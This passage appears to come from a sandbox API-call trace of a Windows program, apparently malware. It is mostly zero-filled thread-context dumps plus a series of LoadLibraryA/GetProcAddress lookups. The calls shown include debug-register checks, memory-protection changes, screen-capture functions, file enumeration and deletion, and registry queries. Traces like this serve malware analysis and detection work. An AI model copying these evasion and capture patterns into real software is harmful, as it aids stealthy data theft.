[265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0129.794] InternetCloseHandle (hInternet=0xcc000c) returned 0 [0131.128] LoadLibraryA (lpLibFileName="kernel32") returned 0x75b90000 [0131.136] NtGetContextThread (in: ThreadHandle=0xfffffffe, Context=0x1ee5004 | out: Context=0x1ee5004*(ContextFlags=0x10010, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0x0, SegDs=0x0, Edi=0x0, Esi=0x0, Ebx=0x0, Edx=0x0, Ecx=0x0, Eax=0x0, Ebp=0x0, Eip=0x0, SegCs=0x0, EFlags=0x0, Esp=0x0, SegSs=0x0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0131.144] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1ee0800*=0x400000, NumberOfBytesToProtect=0x1ee0808, NewAccessProtection=0x4, OldAccessProtection=0x18fe80 | out: BaseAddress=0x1ee0800*=0x400000, NumberOfBytesToProtect=0x1ee0808, OldAccessProtection=0x18fe80*=0x2) returned 0x0 [0131.295] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75b90000 [0131.295] GetProcAddress (hModule=0x75b90000, lpProcName="DeleteCriticalSection") returned 0x77be45f5 [0131.296] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75b90000 [0131.296] GetProcAddress (hModule=0x75b90000, lpProcName="LeaveCriticalSection") returned 0x77bd2270 [0131.296] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75b90000 [0131.296] GetProcAddress (hModule=0x75b90000, lpProcName="EnterCriticalSection") returned 0x77bd22b0 [0131.296] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75b90000 [0131.297] GetProcAddress (hModule=0x75b90000, lpProcName="InitializeCriticalSection") returned 0x77be2c42 [0131.297] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75b90000 [0131.297] GetProcAddress (hModule=0x75b90000, lpProcName="VirtualFree") returned 0x75ba186e [0131.297] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75b90000 [0131.298] GetProcAddress (hModule=0x75b90000, lpProcName="VirtualAlloc") returned 0x75ba1856 [0131.298] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75b90000 [0131.298] GetProcAddress (hModule=0x75b90000, lpProcName="LocalFree") returned 0x75ba2d3c [0131.298] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75b90000 [0131.299] GetProcAddress (hModule=0x75b90000, lpProcName="LocalAlloc") returned 0x75ba168c [0131.299] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75b90000 [0131.299] GetProcAddress (hModule=0x75b90000, lpProcName="GetTickCount") returned 0x75ba110c [0131.299] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75b90000 [0131.300] GetProcAddress (hModule=0x75b90000, lpProcName="QueryPerformanceCounter") returned 0x75ba1725 [0131.300] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75b90000 [0131.300] GetProcAddress (hModule=0x75b90000, lpProcName="GetVersion") returned 0x75ba4467 [0131.300] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75b90000 [0131.300] GetProcAddress (hModule=0x75b90000, lpProcName="GetCurrentThreadId") returned 0x75ba1450 [0131.300] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75b90000 [0131.301] GetProcAddress (hModule=0x75b90000, lpProcName="WideCharToMultiByte") returned 0x75ba170d [0131.301] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75b90000 [0131.301] GetProcAddress (hModule=0x75b90000, lpProcName="MultiByteToWideChar") returned 0x75ba192e [0131.301] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75b90000 [0131.302] GetProcAddress (hModule=0x75b90000, lpProcName="GetThreadLocale") returned 0x75ba35cf [0131.302] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75b90000 [0131.302] GetProcAddress (hModule=0x75b90000, lpProcName="GetStartupInfoA") returned 0x75ba0e00 [0131.302] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75b90000 [0131.303] GetProcAddress (hModule=0x75b90000, lpProcName="GetModuleFileNameA") returned 0x75ba14b1 [0131.303] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75b90000 [0131.303] GetProcAddress (hModule=0x75b90000, lpProcName="GetLocaleInfoA") returned 0x75bbd5e5 [0131.303] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75b90000 [0131.304] GetProcAddress (hModule=0x75b90000, lpProcName="GetCommandLineA") returned 0x75ba51a1 [0131.304] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75b90000 [0131.304] GetProcAddress (hModule=0x75b90000, lpProcName="FreeLibrary") returned 0x75ba34c8 [0131.304] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75b90000 [0131.304] GetProcAddress (hModule=0x75b90000, lpProcName="ExitProcess") returned 0x75ba7a10 [0131.304] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75b90000 [0131.305] GetProcAddress (hModule=0x75b90000, lpProcName="WriteFile") returned 0x75ba1282 [0131.305] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75b90000 [0131.305] GetProcAddress (hModule=0x75b90000, lpProcName="UnhandledExceptionFilter") returned 0x75bc772f [0131.305] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75b90000 [0131.306] GetProcAddress (hModule=0x75b90000, lpProcName="RtlUnwind") returned 0x75bcd1c3 [0131.306] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75b90000 [0131.306] GetProcAddress (hModule=0x75b90000, lpProcName="RaiseException") returned 0x75ba58a6 [0131.306] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75b90000 [0131.307] GetProcAddress (hModule=0x75b90000, lpProcName="GetStdHandle") returned 0x75ba51b3 [0131.307] LoadLibraryA (lpLibFileName="user32.dll") returned 0x770d0000 [0131.307] GetProcAddress (hModule=0x770d0000, lpProcName="GetKeyboardType") returned 0x77129ac4 [0131.307] LoadLibraryA (lpLibFileName="user32.dll") returned 0x770d0000 [0131.308] GetProcAddress (hModule=0x770d0000, lpProcName="MessageBoxA") returned 0x7713fd1e [0131.308] LoadLibraryA (lpLibFileName="user32.dll") returned 0x770d0000 [0131.308] GetProcAddress (hModule=0x770d0000, lpProcName="CharNextA") returned 0x770e7a1b [0131.308] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x75cf0000 [0131.309] GetProcAddress (hModule=0x75cf0000, lpProcName="RegQueryValueExA") returned 0x75d048ef [0131.309] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x75cf0000 [0131.309] GetProcAddress (hModule=0x75cf0000, lpProcName="RegOpenKeyExA") returned 0x75d04907 [0131.309] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x75cf0000 [0131.310] GetProcAddress (hModule=0x75cf0000, lpProcName="RegCloseKey") returned 0x75d0469d [0131.310] LoadLibraryA (lpLibFileName="oleaut32.dll") returned 0x75e60000 [0131.310] GetProcAddress (hModule=0x75e60000, lpProcName="SysFreeString") returned 0x75e63e59 [0131.310] LoadLibraryA (lpLibFileName="oleaut32.dll") returned 0x75e60000 [0131.310] GetProcAddress (hModule=0x75e60000, lpProcName="SysReAllocStringLen") returned 0x75e67810 [0131.311] LoadLibraryA (lpLibFileName="oleaut32.dll") returned 0x75e60000 [0131.311] GetProcAddress (hModule=0x75e60000, lpProcName="SysAllocStringLen") returned 0x75e645d2 [0131.311] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75b90000 [0131.311] GetProcAddress (hModule=0x75b90000, lpProcName="GetModuleHandleA") returned 0x75ba1245 [0131.311] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x75cf0000 [0131.312] GetProcAddress (hModule=0x75cf0000, lpProcName="RegOpenKeyExA") returned 0x75d04907 [0131.312] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x75cf0000 [0131.312] GetProcAddress (hModule=0x75cf0000, lpProcName="RegEnumKeyA") returned 0x75d1a299 [0131.312] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x75cf0000 [0131.313] GetProcAddress (hModule=0x75cf0000, lpProcName="FreeSid") returned 0x75d0412e [0131.313] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75b90000 [0131.313] GetProcAddress (hModule=0x75b90000, lpProcName="WriteFile") returned 0x75ba1282 [0131.313] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75b90000 [0131.313] GetProcAddress (hModule=0x75b90000, lpProcName="Sleep") returned 0x75ba10ff [0131.313] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75b90000 [0131.314] GetProcAddress (hModule=0x75b90000, lpProcName="LocalFree") returned 0x75ba2d3c [0131.314] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75b90000 [0131.314] GetProcAddress (hModule=0x75b90000, lpProcName="LoadLibraryExW") returned 0x75ba495d [0131.314] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75b90000 [0131.314] GetProcAddress (hModule=0x75b90000, lpProcName="LoadLibraryA") returned 0x75ba49d7 [0131.314] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75b90000 [0131.315] GetProcAddress (hModule=0x75b90000, lpProcName="GlobalUnlock") returned 0x75bbcfdf [0131.315] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75b90000 [0131.315] GetProcAddress (hModule=0x75b90000, lpProcName="GlobalLock") returned 0x75bbd0a7 [0131.315] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75b90000 [0131.316] GetProcAddress (hModule=0x75b90000, lpProcName="GetTickCount") returned 0x75ba110c [0131.316] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75b90000 [0131.316] GetProcAddress (hModule=0x75b90000, lpProcName="GetSystemInfo") returned 0x75ba49ca [0131.316] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75b90000 [0131.316] GetProcAddress (hModule=0x75b90000, lpProcName="GetProcAddress") returned 0x75ba1222 [0131.317] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75b90000 [0131.317] GetProcAddress (hModule=0x75b90000, lpProcName="GetModuleHandleA") returned 0x75ba1245 [0131.317] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75b90000 [0131.317] GetProcAddress (hModule=0x75b90000, lpProcName="GetModuleFileNameA") returned 0x75ba14b1 [0131.317] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75b90000 [0131.318] GetProcAddress (hModule=0x75b90000, lpProcName="GetFileAttributesW") returned 0x75ba1b18 [0131.318] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75b90000 [0131.318] GetProcAddress (hModule=0x75b90000, lpProcName="GetCurrentProcessId") returned 0x75ba11f8 [0131.318] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75b90000 [0131.319] GetProcAddress (hModule=0x75b90000, lpProcName="GetCurrentProcess") returned 0x75ba1809 [0131.319] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75b90000 [0131.319] GetProcAddress (hModule=0x75b90000, lpProcName="FreeLibrary") returned 0x75ba34c8 [0131.319] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75b90000 [0131.320] GetProcAddress (hModule=0x75b90000, lpProcName="FindNextFileW") returned 0x75ba54ee [0131.320] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75b90000 [0131.320] GetProcAddress (hModule=0x75b90000, lpProcName="FindFirstFileW") returned 0x75ba4435 [0131.320] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75b90000 [0131.321] GetProcAddress (hModule=0x75b90000, lpProcName="FindClose") returned 0x75ba4442 [0131.321] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75b90000 [0131.321] GetProcAddress (hModule=0x75b90000, lpProcName="ExitProcess") returned 0x75ba7a10 [0131.321] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75b90000 [0131.321] GetProcAddress (hModule=0x75b90000, lpProcName="DeleteFileW") returned 0x75ba89b3 [0131.322] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75b90000 [0131.322] GetProcAddress (hModule=0x75b90000, lpProcName="CreateDirectoryW") returned 0x75ba4259 [0131.322] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75b90000 [0131.322] GetProcAddress (hModule=0x75b90000, lpProcName="CopyFileW") returned 0x75bc830d [0131.322] LoadLibraryA (lpLibFileName="gdi32.dll") returned 0x76f30000 [0131.323] GetProcAddress (hModule=0x76f30000, lpProcName="SelectObject") returned 0x76f44f70 [0131.323] LoadLibraryA (lpLibFileName="gdi32.dll") returned 0x76f30000 [0131.323] GetProcAddress (hModule=0x76f30000, lpProcName="DeleteObject") returned 0x76f45689 [0131.323] LoadLibraryA (lpLibFileName="gdi32.dll") returned 0x76f30000 [0131.324] GetProcAddress (hModule=0x76f30000, lpProcName="DeleteDC") returned 0x76f458b3 [0131.324] LoadLibraryA (lpLibFileName="gdi32.dll") returned 0x76f30000 [0131.324] GetProcAddress (hModule=0x76f30000, lpProcName="CreateCompatibleDC") returned 0x76f454f4 [0131.324] LoadLibraryA (lpLibFileName="gdi32.dll") returned 0x76f30000 [0131.325] GetProcAddress (hModule=0x76f30000, lpProcName="CreateCompatibleBitmap") returned 0x76f45f49 [0131.325] LoadLibraryA (lpLibFileName="gdi32.dll") returned 0x76f30000 [0131.325] GetProcAddress (hModule=0x76f30000, lpProcName="BitBlt") returned 0x76f45ea6 [0131.325] LoadLibraryA (lpLibFileName="user32.dll") returned 0x770d0000 [0131.326] GetProcAddress (hModule=0x770d0000, lpProcName="ReleaseDC") returned 0x770e7446 [0131.326] LoadLibraryA (lpLibFileName="user32.dll") returned 0x770d0000 [0131.326] GetProcAddress (hModule=0x770d0000, lpProcName="GetSystemMetrics") returned 0x770e7d2f [0131.326] LoadLibraryA (lpLibFileName="user32.dll") returned 0x770d0000 [0131.326] GetProcAddress (hModule=0x770d0000, lpProcName="GetDC") returned 0x770e72c4 [0131.326] LoadLibraryA (lpLibFileName="user32.dll") returned 0x770d0000 [0131.327] GetProcAddress (hModule=0x770d0000, lpProcName="CharToOemBuffA") returned 0x770fb1b0 [0131.327] LoadLibraryA (lpLibFileName="ole32.dll") returned 0x75f10000 [0131.327] GetProcAddress (hModule=0x75f10000, lpProcName="OleInitialize") returned 0x75f2efd7 [0131.327] LoadLibraryA (lpLibFileName="ole32.dll") returned 0x75f10000 [0131.328] GetProcAddress (hModule=0x75f10000, lpProcName="CoCreateInstance") returned 0x75f59d0b [0131.333] RtlAddVectoredExceptionHandler (FirstHandler=0x1, VectoredHandler=0x1a3135) returned 0x1e238b18 [0131.341] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x4) returned 0x0 [0131.350] NtGetContextThread (in: ThreadHandle=0xfffffffe, Context=0x1ee5004 | out: Context=0x1ee5004*(ContextFlags=0x10010, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, 